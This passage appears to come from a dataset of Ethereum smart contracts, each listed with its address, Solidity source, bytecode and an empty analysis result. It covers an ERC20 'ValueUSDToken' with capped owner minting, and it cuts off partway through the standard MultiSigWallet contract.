6151561066f57600080fd5b600160a060020a03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b600160a060020a03821615156106e657600080fd5b600160a060020a03831660009081526003602052604090205461070f908263ffffffff6107a016565b600160a060020a038085166000908152600360205260408082209390935590841681522054610744908263ffffffff6107b516565b600160a060020a0380841660008181526003602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b6000828211156107af57600080fd5b50900390565b6000828201838110156107c757600080fd5b9392505050565b600160a060020a03821615156107e357600080fd5b6005546107f6908263ffffffff6107b516565b600555600160a060020a038216600090815260036020526040902054610822908263ffffffff6107b516565b600160a060020a03831660008181526003602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b61088b60068263ffffffff61094116565b604051600160a060020a038216907f6ae172837ea30b801fbfcdd4108aa1d5bf8ff775444fd70256b44e6bf3dfc3f690600090a250565b6108d360068263ffffffff61098f16565b604051600160a060020a038216907fe94479a9f7e1952cc78f2d6baab678adc1b772d936c6583def489e524cb6669290600090a250565b6000600160a060020a038216151561092157600080fd5b50600160a060020a03166000908152602091909152604090205460ff1690565b600160a060020a038116151561095657600080fd5b610960828261090a565b1561096a57600080fd5b600160a060020a0316600090815260209190915260409020805460ff19166001179055565b600160a060020a03811615156109a457600080fd5b6109ae828261090a565b15156109b957600080fd5b600160a060020a0316600090815260209190915260409020805460ff1916905556fea165627a7a723058202bcbd704e9250d6eddfe28c683077957598824d7ed5c8c6ce849fb5e31b915150029 | {"success": true, "error": null, "results": {}} | 10,104 |
0xa62cfaf94a42e1d9b70241840bfdad76c15b2b24 | //SPDX-License-Identifier: No License
pragma solidity 0.8.0;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner,"You're not authorized");
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0),"New owner cannot be 0 address");
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
abstract contract ERC20Basic {
/// Total amount of tokens
uint256 public totalSupply;
function balanceOf(address _owner) public view virtual returns (uint256 balance);
function transfer(address _to, uint256 _amount) public virtual returns (bool success);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
abstract contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender) public virtual view returns (uint256 remaining);
function transferFrom(address _from, address _to, uint256 _amount) public virtual returns (bool success);
function approve(address _spender, uint256 _amount) public virtual returns (bool success);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
//balance in each address account
mapping(address => uint256) balances;
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(balances[sender] >= amount, "ERC20: transfer amount exceeds balance");
balances[sender] -= amount;
balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view virtual override returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
*/
contract StandardToken is ERC20, BasicToken {
using SafeMath for *;
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _amount uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _amount) public virtual override returns (bool success) {
require(_to != address(0), "New address cannot be 0 address");
require(balances[_from] >= _amount,"Should have balance");
require(allowed[_from][msg.sender] >= _amount,"should have allowed the sender");
require(_amount > 0 && balances[_to].add(_amount) > balances[_to],"amount cannot be 0");
balances[_from] = balances[_from].sub(_amount);
balances[_to] = balances[_to].add(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _amount The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _amount) public virtual override returns (bool success) {
allowed[msg.sender][_spender] = _amount;
emit Approval(msg.sender, _spender, _amount);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
*/
function allowance(address _owner, address _spender) public view virtual override returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
contract MintableToken is StandardToken, Ownable {
uint256 public cap = 100000000000*10**18;
function mint(address _account, uint256 _amount) public onlyOwner returns(bool) {
_mint(_account, _amount);
return true;
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
require(totalSupply + amount <= cap, "Maximum token supply exceeded");
totalSupply += amount;
balances[account] += amount;
emit Transfer(address(0), account, amount);
}
}
/**
* @title Value USD
* @dev Token representing USDV.
*/
contract ValueUSDToken is MintableToken{
using SafeMath for uint256;
string public name ;
string public symbol ;
uint8 public decimals = 18 ;
/**
* @dev Constructor function to initialize the initial supply of token to the creator of the contract
* @param initialSupply The initial supply of tokens which will be fixed through out
* @param tokenName The name of the token
* @param tokenSymbol The symbol of the token
*/
constructor (
uint256 initialSupply,
string memory tokenName,
string memory tokenSymbol
) {
name = tokenName;
symbol = tokenSymbol;
_mint(msg.sender, initialSupply.mul( 10 ** uint256(decimals)));
}
/**
*@dev helper method to get token details, name, symbol and totalSupply in one go
*/
function getTokenDetail() public view virtual returns (string memory, string memory , uint256) {
return (name, symbol, totalSupply);
}
} | 0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c806340c10f191161008c57806395d89b411161006657806395d89b4114610265578063a9059cbb14610283578063dd62ed3e146102b3578063f2fde38b146102e3576100ea565b806340c10f19146101e757806370a08231146102175780638da5cb5b14610247576100ea565b806323b872dd116100c857806323b872dd1461015b578063289de6151461018b578063313ce567146101ab578063355274ea146101c9576100ea565b806306fdde03146100ef578063095ea7b31461010d57806318160ddd1461013d575b600080fd5b6100f76102ff565b604051610104919061191e565b60405180910390f35b61012760048036038101906101229190611505565b61038d565b6040516101349190611903565b60405180910390f35b61014561047f565b6040516101529190611ae5565b60405180910390f35b610175600480360381019061017091906114b6565b610485565b6040516101829190611903565b60405180910390f35b6101936109be565b6040516101a293929190611940565b60405180910390f35b6101b3610aed565b6040516101c09190611b00565b60405180910390f35b6101d1610b00565b6040516101de9190611ae5565b60405180910390f35b61020160048036038101906101fc9190611505565b610b06565b60405161020e9190611903565b60405180910390f35b610231600480360381019061022c9190611451565b610bac565b60405161023e9190611ae5565b60405180910390f35b61024f610bf5565b60405161025c91906118e8565b60405180910390f35b61026d610c1b565b60405161027a919061191e565b60405180910390f35b61029d60048036038101906102989190611505565b610ca9565b6040516102aa9190611903565b60405180910390f35b6102cd60048036038101906102c8919061147a565b610cc0565b6040516102da9190611ae5565b60405180910390f35b6102fd60048036038101906102f89190611451565b610d47565b005b6005805461030c90611cd4565b80601f016020809104026020016040519081016040528092919081815260200182805461033890611cd4565b80156103855780601f1061035a57610100808354040283529160200191610385565b820191906000526020600020905b81548152906001019060200180831161036857829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161046d9190611ae5565b60405180910390a36001905092915050565b60005481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156104f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ed90611aa5565b60405180910390fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610578576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056f90611a85565b60405180910390fd5b81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610637576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062e90611a65565b60405180910390fd5b6000821180156106d65750600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106d483600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f7690919063ffffffff16565b115b610715576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161070c90611a45565b60405180910390fd5b61076782600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fc890919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506107fc82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f7690919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108ce82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fc890919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516109ab9190611ae5565b60405180910390a3600190509392505050565b6060806000600560066000548280546109d690611cd4565b80601f0160208091040260200160405190810160405280929190818152602001828054610a0290611cd4565b8015610a4f5780601f10610a2457610100808354040283529160200191610a4f565b820191906000526020600020905b815481529060010190602001808311610a3257829003601f168201915b50505050509250818054610a6290611cd4565b80601f0160208091040260200160405190810160405280929190818152602001828054610a8e90611cd4565b8015610adb5780601f10610ab057610100808354040283529160200191610adb565b820191906000526020600020905b815481529060010190602001808311610abe57829003601f168201915b50505050509150925092509250909192565b600760009054906101000a900460ff1681565b60045481565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b98576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8f906119a5565b60405180910390fd5b610ba28383611015565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60068054610c2890611cd4565b80601f0160208091040260200160405190810160405280929190818152602001828054610c5490611cd4565b8015610ca15780601f10610c7657610100808354040283529160200191610ca1565b820191906000526020600020905b815481529060010190602001808311610c8457829003601f168201915b505050505081565b6000610cb63384846111af565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610dd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dce906119a5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610e47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3e906119c5565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080831415610f1a5760009050610f70565b60008284610f289190611bbe565b9050828482610f379190611b8d565b14610f6b577f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b809150505b92915050565b6000808284610f859190611b37565b905083811015610fbe577f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b8091505092915050565b600082821115611001577f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b818361100d9190611c18565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611085576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107c90611ac5565b60405180910390fd5b600454816000546110969190611b37565b11156110d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ce90611a05565b60405180910390fd5b806000808282546110e89190611b37565b9250508190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461113e9190611b37565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516111a39190611ae5565b60405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561121f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121690611a25565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561128f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128690611985565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611311576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611308906119e5565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546113609190611c18565b9250508190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546113b69190611b37565b925050819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161141a9190611ae5565b60405180910390a3505050565b60008135905061143681611da4565b92915050565b60008135905061144b81611dbb565b92915050565b60006020828403121561146357600080fd5b600061147184828501611427565b91505092915050565b6000806040838503121561148d57600080fd5b600061149b85828601611427565b92505060206114ac85828601611427565b9150509250929050565b6000806000606084860312156114cb57600080fd5b60006114d986828701611427565b93505060206114ea86828701611427565b92505060406114fb8682870161143c565b9150509250925092565b6000806040838503121561151857600080fd5b600061152685828601611427565b92505060206115378582860161143c565b9150509250929050565b61154a81611c4c565b82525050565b61155981611c5e565b82525050565b600061156a82611b1b565b6115748185611b26565b9350611584818560208601611ca1565b61158d81611d93565b840191505092915050565b60006115a5602383611b26565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061160b601583611b26565b91507f596f75277265206e6f7420617574686f72697a656400000000000000000000006000830152602082019050919050565b600061164b601d83611b26565b91507f4e6577206f776e65722063616e6e6f74206265203020616464726573730000006000830152602082019050919050565b600061168b602683611b26565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206260008301527f616c616e636500000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006116f1601d83611b26565b91507f4d6178696d756d20746f6b656e20737570706c792065786365656465640000006000830152602082019050919050565b6000611731602583611b26565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611797601283611b26565b91507f616d6f756e742063616e6e6f74206265203000000000000000000000000000006000830152602082019050919050565b60006117d7601e83611b26565b91507f73686f756c64206861766520616c6c6f776564207468652073656e64657200006000830152602082019050919050565b6000611817601383611b26565b91507f53686f756c6420686176652062616c616e6365000000000000000000000000006000830152602082019050919050565b6000611857601f83611b26565b91507f4e657720616464726573732063616e6e6f7420626520302061646472657373006000830152602082019050919050565b6000611897601f83611b26565b91507f45524332303a206d696e7420746f20746865207a65726f2061646472657373006000830152602082019050919050565b6118d381611c8a565b82525050565b6118e281611c94565b82525050565b60006020820190506118fd6000830184611541565b92915050565b60006020820190506119186000830184611550565b92915050565b60006020820190508181036000830152611938818461155f565b905092915050565b6000606082019050818103600083015261195a818661155f565b9050818103602083015261196e818561155f565b905061197d60408301846118ca565b949350505050565b6000602082019050818103600083015261199e81611598565b9050919050565b600060208201905081810360008301526119be816115fe565b9050919050565b600060208201905081810360008301526119de8161163e565b9050919050565b600060208201905081810360008301526119fe8161167e565b9050919050565b60006020820190508181036000830152611a1e816116e4565b9050919050565b60006020820190508181036000830152611a3e81611724565b9050919050565b60006020820190508181036000830152611a5e8161178a565b9050919050565b60006020820190508181036000830152611a7e816117ca565b9050919050565b60006020820190508181036000830152611a9e8161180a565b9050919050565b60006020820190508181036000830152611abe8161184a565b9050919050565b60006020820190508181036000830152611ade8161188a565b9050919050565b6000602082019050611afa60008301846118ca565b92915050565b6000602082019050611b1560008301846118d9565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611b4282611c8a565b9150611b4d83611c8a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611b8257611b81611d06565b5b828201905092915050565b6000611b9882611c8a565b9150611ba383611c8a565b925082611bb357611bb2611d35565b5b828204905092915050565b6000611bc982611c8a565b9150611bd483611c8a565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611c0d57611c0c611d06565b5b828202905092915050565b6000611c2382611c8a565b9150611c2e83611c8a565b925082821015611c4157611c40611d06565b5b828203905092915050565b6000611c5782611c6a565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611cbf578082015181840152602081019050611ca4565b83811115611cce576000848401525b50505050565b60006002820490506001821680611cec57607f821691505b60208210811415611d0057611cff611d64565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b611dad81611c4c565b8114611db857600080fd5b50565b611dc481611c8a565b8114611dcf57600080fd5b5056fea264697066735822122015d3cfd670844250acc166b5bf69e26a07b4dc583e76658c421280e4eed77d0864736f6c63430008000033 | {"success": true, "error": null, "results": {}} | 10,105 |
0x6c48364f3ed3b96dd6db51fc5f35aa456ae748f0 | pragma solidity ^0.4.15;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <stefan.george@consensys.net>
contract MultiSigWallet {
/*
* Events
*/
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
/*
* Constants
*/
uint constant public MAX_OWNER_COUNT = 50;
/*
* Storage
*/
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
/*
* Modifiers
*/
modifier onlyWallet() {
require(msg.sender == address(this));
_;
}
modifier ownerDoesNotExist(address owner) {
require(!isOwner[owner]);
_;
}
modifier ownerExists(address owner) {
require(isOwner[owner]);
_;
}
modifier transactionExists(uint transactionId) {
require(transactions[transactionId].destination != 0);
_;
}
modifier confirmed(uint transactionId, address owner) {
require(confirmations[transactionId][owner]);
_;
}
modifier notConfirmed(uint transactionId, address owner) {
require(!confirmations[transactionId][owner]);
_;
}
modifier notExecuted(uint transactionId) {
require(!transactions[transactionId].executed);
_;
}
modifier notNull(address _address) {
require(_address != 0);
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
require(ownerCount <= MAX_OWNER_COUNT
&& _required <= ownerCount
&& _required != 0
&& ownerCount != 0);
_;
}
/// @dev Fallback function allows to deposit ether.
function()
payable
{
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
function MultiSigWallet(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
require(!isOwner[_owners[i]] && _owners[i] != 0);
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param newOwner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction storage txn = transactions[transactionId];
txn.executed = true;
if (external_call(txn.destination, txn.value, txn.data.length, txn.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
txn.executed = false;
}
}
}
// call has been separated into its own function in order to take advantage
// of the Solidity's code generator to produce a loop that copies tx.data into memory.
function external_call(address destination, uint value, uint dataLength, bytes data) private returns (bool) {
bool result;
assembly {
let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention)
let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that
result := call(
sub(gas, 34710), // 34710 is the value that solidity is currently emitting
// It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) +
// callNewAccountGas (25000, in case the destination address does not exist and needs creating)
destination,
value,
d,
dataLength, // Size of the input (in bytes) - this is what fixes the padding problem
x,
0 // Output is ignored, therefore the output size is zero
)
}
return result;
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
